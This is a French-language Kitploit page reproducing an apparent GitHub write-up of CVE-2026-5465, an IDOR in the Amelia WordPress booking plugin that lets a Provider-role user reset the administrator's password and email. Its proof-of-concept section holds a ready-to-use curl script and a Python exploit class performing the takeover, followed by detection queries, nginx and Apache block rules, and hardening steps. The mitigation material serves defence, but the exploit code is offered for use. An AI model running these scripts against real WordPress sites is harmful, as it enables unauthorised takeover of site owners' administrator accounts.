Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5465 — Exploitation et analyse de CVE-2026-5465, une IDOR dans le plugin WordPress Amelia permettant au rôle Provider authentifié d'élever ses privilèges et de réaliser une prise de contrôle de compte via une référence directe à un objet non sécurisée. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2026-5465
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionMauvaise Configuration
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

Exploitation et analyse de CVE-2026-5465, une IDOR dans le plugin WordPress Amelia permettant au rôle Provider authentifié d'élever ses privilèges et de réaliser une prise de contrôle de compte via une référence directe à un objet non sécurisée.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5465: Élévation de Privilèges dans le Plugin Amelia WordPress

⚠️ Résumé Exécutif

Vulnérabilité critique de Référence Directe Non Sécurisée à un Objet (IDOR) dans le plugin Amelia qui permet à un utilisateur authentifié avec le rôle d'Employé (Provider) d'élever ses privilèges jusqu'à la prise de contrôle totale (Account Takeover) du site WordPress, y compris l'accès administratif.


📋 Données de la Vulnérabilité

AttributValeur
CVE IDCVE-2026-5465
LogicielAmelia – Appointment Booking Calendar
Versions Affectées≤ 2.1.3
Version Corrigée≥ 2.2.0
TypeInsecure Direct Object References (IDOR) / Broken Access Control
VecteurRéseau (Authentifié)
ComplexitéFaible
ImpactCritique (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Authorization Bypass)

🔍 Analyse Technique

Mécanisme d'Exploitation

La faille réside dans la classe UpdateProviderCommandHandler qui traite les mises à jour de profil de fournisseur.

Flux vulnérable :

root@kitploit:~
1. Utilisateur authentifié en tant que "Provider" (Employé)
   ↓
2. Envoie une requête POST au point de terminaison de mise à jour
   {
     "externalId": 1,  // ID de l'admin (pas celui de l'attaquant)
     "firstName": "Admin Piraté",
     "email": "[email protected]",
     "password": "nouveau_mot_de_passe"
   }
   ↓
3. Le système NE valide PAS si 'externalId' appartient à l'utilisateur actuel
   ↓
4. Utilise wp_set_password(externalId, new_password)
   ↓
5. Mot de passe de l'admin modifié → Account Takeover

Cause Racine

Absence de validation de propriété (Ownership Check) avant de traiter des données sensibles :

root@kitploit:~
// CODE VULNÉRABLE (Simplifié)
public function updateProvider($providerId, $data) {
    // ❌ NE vérifie PAS si providerId == utilisateur_actuel
    $provider = Provider::find($providerId);
    
    // Exécute directement sans validation
    wp_set_password($data['password'], $provider->wp_user_id);
}

// CODE CORRECT
public function updateProvider($providerId, $data) {
    // ✅ Vérifie la propriété
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Paramètres Exploitables


💣 Proof of Concept

Prérequis

  • Compte utilisateur avec le rôle "Provider" (Employé)
  • Accès authentifié au site
  • URL du site WordPress

Exploitation Manuelle (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://exemple.com"
PROVIDER_TOKEN="token_authentifié_du_provider"
ADMIN_ID=1

# Obtenir le NONCE de sécurité (s'il existe)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Exécuter la mise à jour malveillante
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Si la réponse est 200, l'admin a été compromis"

Exploitation Automatisée (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Exploite l'IDOR pour changer le mot de passe de l'admin"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] EXPLOITÉ : Utilisateur {target_user_id} compromis")
                print(f"[*] Nouveau mot de passe : {new_password}")
                return True
            else:
                print(f"[✗] Échec : {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Erreur de connexion : {e}")
            return False

# Utilisation
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://exemple.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Indicateurs de Compromission (IoC)

Journaux à Examiner

Journal d'Audit WordPress (s'il est installé) :

root@kitploit:~
Utilisateur : [Provider ID]
Action : User Password Changed
Utilisateur Affecté : Administrator
Horodatage : [Heure suspecte]

Journaux Serveur (Apache/Nginx) :

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [élevé]
→ Réponse 200 OK

Base de Données WordPress :

root@kitploit:~
-- Changements de mot de passe non autorisés
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Changements d'email suspects
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Signaux d'Alerte

  • ✗ Changements de mot de passe de l'admin sans demande du propriétaire
  • ✗ Multiples tentatives POST vers /wp-json/amelia/v1/providers/
  • ✗ Accès administratifs depuis des IP nouvelles/inhabituelles
  • ✗ Création de nouveaux utilisateurs avec le rôle Administrator
  • ✗ Modifications de la configuration des plugins depuis le rôle Provider
  • ✗ Journaux d'accès supprimés ou tronqués

🔧 Atténuation Immédiate

1. Mettre à Jour le Plugin (Option Préférée)

root@kitploit:~
# Via le Panneau d'Administration WordPress
1. Aller à : Plugins > Plugins Installés
2. Rechercher : "Amelia"
3. Cliquer : "Mettre à jour maintenant"
4. Version minimale sécurisée : 2.2.0+

# Via WP-CLI
wp plugin update amelia --allow-root

2. Désactiver le Plugin Temporairement

root@kitploit:~
# Via WP-CLI
wp plugin deactivate amelia --allow-root

# Via FTP/SFTP
Renommer : /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Restriction au Niveau du Serveur

Nginx (nginx.conf) :

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # Autoriser uniquement les GET
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess) :

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Étapes Post-Compromission

Si le site a déjà été exploité :

1. Changer les Mots de Passe (Immédiat)

root@kitploit:~
-- Changer le mot de passe de l'admin via CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Auditer les Utilisateurs et les Modifications

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Vérifier les Sessions Actives

root@kitploit:~
# Installer et vérifier le plugin : WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Réinitialiser les Clés de Sécurité

root@kitploit:~
// Dans wp-config.php, régénérer :
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 Durcissement à Long Terme

1. Implémenter un WAF (Web Application Firewall)

root@kitploit:~
Règle Cloudflare WAF :
- Bloquer : POST vers /wp-json/amelia/v1/providers/[0-9]+ depuis des IP non whitelistées

2. Surveillance Continue

root@kitploit:~
# Installer des plugins d'audit
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. Gestion des Rôles et Permissions

root@kitploit:~
// Limiter les capacités du Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. Rate Limiting sur les Points de Terminaison

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 Chronologie de la Découverte

DateÉvénement
2026-01-15Vulnérabilité signalée à l'équipe Amelia

📞 Contacts de Support

  • Amelia Official : https://ameliabooking.com
  • Wordfence Threat Intelligence : https://wordfence.com
  • WordPress Security : https://wordpress.org/plugins/wordfence/
  • CERT Coordination Center : https://www.cert.org

📚 Références

  • OWASP: Broken Access Control
  • CWE-639: Authorization Bypass
  • NIST: Privilege Escalation
  • Amelia Security Advisories

Classification : 🔴 CRITIQUE - Nécessite une action immédiate
Dernière mise à jour : Avril 2026
Auteur : Équipe de Sécurité

Télécharger l’outil
ParamètreTypeImpact
externalIdIntegerChangement d'identité (IDOR core)
passwordStringModification du mot de passe
emailEmailVol de session si réinitialisé
firstName, lastNameStringAltération de données non critique
2026-02-01Correctif disponible (v2.2.0)
2026-02-10Publication responsable du CVE
2026-02-11Exploits dans la nature
AUJOURD'HUIRecommandation de mise à jour urgente